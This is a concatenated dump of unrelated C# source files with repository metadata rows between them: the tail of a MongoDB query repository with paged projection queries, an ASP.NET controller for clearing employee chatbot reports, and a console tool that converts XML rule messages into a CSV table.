Task<IReadOnlyList<TProjection>> ToListAsync<TProjection>(Expression<Func<T, bool>> filter, Order<T> order, Expression<Func<T, TProjection>> projection, CancellationToken cancellationToken = default) => Query.Where(filter).OrderBy(order).Select(projection).ToListImpl(cancellationToken); public Task<IReadOnlyList<TProjection>> ToListAsync<TProjection>(Expression<Func<T, bool>> filter, Expression<Func<T, TProjection>> projection, int count, int page = 1, CancellationToken cancellationToken = default) => Query.Where(filter).Select(projection).Page(count, page).ToListImpl(cancellationToken); public Task<IReadOnlyList<TProjection>> ToListAsync<TProjection>(Order<T> order, Expression<Func<T, TProjection>> projection, int count, int page = 1, CancellationToken cancellationToken = default) => Query.OrderBy(order).Select(projection).Page(count, page).ToListImpl(cancellationToken); public Task<IReadOnlyList<TProjection>> ToListAsync<TProjection>(Expression<Func<T, bool>> filter, Order<T> order, Expression<Func<T, TProjection>> projection, int count, int page = 1, CancellationToken cancellationToken = default) => Query.Where(filter).OrderBy(order).Select(projection).Page(count, page).ToListImpl(cancellationToken); public Task<IReadOnlyList<TProjection>> ToListAsync<TChild, TProjection>(Expression<Func<TChild, TProjection>> projection, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Select(projection).ToListImpl(cancellationToken); public Task<IReadOnlyList<TProjection>> ToListAsync<TChild, TProjection>(Expression<Func<TChild, bool>> filter, Expression<Func<TChild, TProjection>> projection, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Where(filter).Select(projection).ToListImpl(cancellationToken); public Task<IReadOnlyList<TProjection>> ToListAsync<TChild, TProjection>(Order<T, TChild> order, Expression<Func<TChild, TProjection>> projection, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().OrderBy(order).Select(projection).ToListImpl(cancellationToken); public Task<IReadOnlyList<TProjection>> ToListAsync<TChild, TProjection>(Expression<Func<TChild, TProjection>> projection, int count, int page = 1, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Select(projection).Page(count, page).ToListImpl(cancellationToken); public Task<IReadOnlyList<TProjection>> ToListAsync<TChild, TProjection>(Expression<Func<TChild, bool>> filter, Order<T, TChild> order, Expression<Func<TChild, TProjection>> projection, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Where(filter).OrderBy(order).Select(projection).ToListImpl(cancellationToken); public Task<IReadOnlyList<TProjection>> ToListAsync<TChild, TProjection>(Expression<Func<TChild, bool>> filter, Expression<Func<TChild, TProjection>> projection, int count, int page = 1, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Where(filter).Select(projection).Page(count, page).ToListImpl(cancellationToken); public Task<IReadOnlyList<TProjection>> ToListAsync<TChild, TProjection>(Order<T, TChild> order, Expression<Func<TChild, TProjection>> projection, int count, int page = 1, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().OrderBy(order).Select(projection).Page(count, page).ToListImpl(cancellationToken); public Task<IReadOnlyList<TProjection>> ToListAsync<TChild, TProjection>(Expression<Func<TChild, bool>> filter, Order<T, TChild> order, Expression<Func<TChild, TProjection>> projection, int count, int page = 1, CancellationToken cancellationToken = default) where TChild : T => Query.OfType<TChild>().Where(filter).OrderBy(order).Select(projection).Page(count, page).ToListImpl(cancellationToken); }
74.805344
355
0.797796
[ "MIT" ]
buvinghausen/Repository
src/MongoDB/MongoQueryRepository.cs
19,601
C#
using EmployeeChatBot.ActiveDirectory; using EmployeeChatBot.Data; using EmployeeChatBot.Data.Access.Abstraction; using EmployeeChatBot.Models; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; using Microsoft.Extensions.Options; using System; using System.Diagnostics; using System.Net.Mail; using System.Threading.Tasks; using URMC.ActiveDirectory; namespace EmployeeChatBot.Controllers { public class ClearReportController : Controller { private readonly IReportAccess _reportAccess; private readonly ActiveDirectoryOptions _adOptions; private readonly EmailOptions _mailOptions; private readonly ElevatedUsersOptions _userOptions; public ClearReportController(IReportAccess reportAccess, IOptions<ActiveDirectoryOptions> adOptions, IOptions<EmailOptions> mailOptions, IOptions<ElevatedUsersOptions> userOptions) { _reportAccess = reportAccess; _adOptions = adOptions.Value; _mailOptions = mailOptions.Value; _userOptions = userOptions.Value; } [Route("ClearReport/{id:int}")] public async Task<IActionResult> ClearReport(int id) { await _reportAccess.ClearReport(id); var isElevatedUser = HttpContext.Session.GetInt32("IsElevatedUser"); return RedirectToAction("Index", new ClearReportViewModel() { IsElevatedUser = isElevatedUser == 1 }); } [HttpGet] public async Task<IActionResult> Index(ClearReportViewModel model) { model.PositiveReports = await _reportAccess.GetPositiveReports(); return View(model); } public IActionResult Privacy() { return View(); } [ResponseCache(Duration = 0, Location = ResponseCacheLocation.None, NoStore = true)] public IActionResult Error() { return View(new ErrorViewModel { RequestId = Activity.Current?.Id ?? HttpContext.TraceIdentifier }); } } }
33.833333
188
0.69064
[ "MIT" ]
transcatcorp/EmployeeChatBot
EmployeeChatBot/Controllers/ClearReportController.cs
2,032
C#
// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using CsvHelper; using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Xml.Linq; namespace AnalyzerCodeGenerator { public class MessageTableGenerator { private static List<string> _xmlFiles; private static string _outputFile; private static List<CheckMessages> _checks = new List<CheckMessages>(); public static void Main(string[] args) { var sourceDir = args[0]; _outputFile = args[1]; bool force = false; if (args.Length == 3 && args[2].Equals("/force")) { force = true; } if (!Directory.Exists(sourceDir)) { Console.WriteLine("ERROR: directory provided for input XML files doesn't exist: " + sourceDir); return; } else { _xmlFiles = new List<string>(Directory.GetFiles(sourceDir).Where( file => file.EndsWith(".xml"))); if (_xmlFiles.Count == 0) { Console.WriteLine("ERROR: directory provided for input XML files doesn't have any xml file: " + sourceDir); return; } } if (File.Exists(_outputFile)) { if (!force) { Console.WriteLine("ERROR: can't overwrite existing output file: " + _outputFile); Console.WriteLine(" pass /force on the command-line to delete and regenerate this content."); return; } File.Delete(_outputFile); } foreach (var file in _xmlFiles) { _checks.AddRange(ParseCheckMessages(file)); } File.WriteAllText(_outputFile, GenerateCsv(_checks)); } private static IEnumerable<CheckMessages> ParseCheckMessages(string fileName) { XDocument xmlFile = XDocument.Load(fileName); Debug.Assert(xmlFile.Root.Name == "Rules"); foreach (var ruleElement in xmlFile.Root.Elements("Rule")) { var check = new CheckMessages(); check.Messages = new Dictionary<string, string>(); check.Id = ruleElement.Attribute("CheckId").Value; foreach (var resolutionElement in ruleElement.Elements("Resolution")) { string resolutionName = resolutionElement.HasAttributes ? resolutionElement.Attribute("Name").Value : "Default"; check.Messages[resolutionName] = resolutionElement.Value; } yield return check; } yield break; } private static string GenerateCsv(IEnumerable<CheckMessages> checks) { var csvHeader = new[] { "ID", "MessageName", "Message" }; var sw = new StringWriter(); using (var csv = new CsvWriter(sw)) { // write header record foreach (var h in csvHeader) { csv.WriteField(h); } csv.NextRecord(); foreach (var check in checks) { foreach (var message in check.Messages) { csv.WriteField(check.Id); csv.WriteField(message.Key); csv.WriteField(message.Value); csv.NextRecord(); } } return sw.ToString(); } } } }
35.318182
161
0.514028
[ "Apache-2.0" ]
AndrewZu1337/roslyn-analyzers
tools/AnalyzerCodeGenerator/MessageTableGenerator/MessageTableGenerator.cs
3,887
C#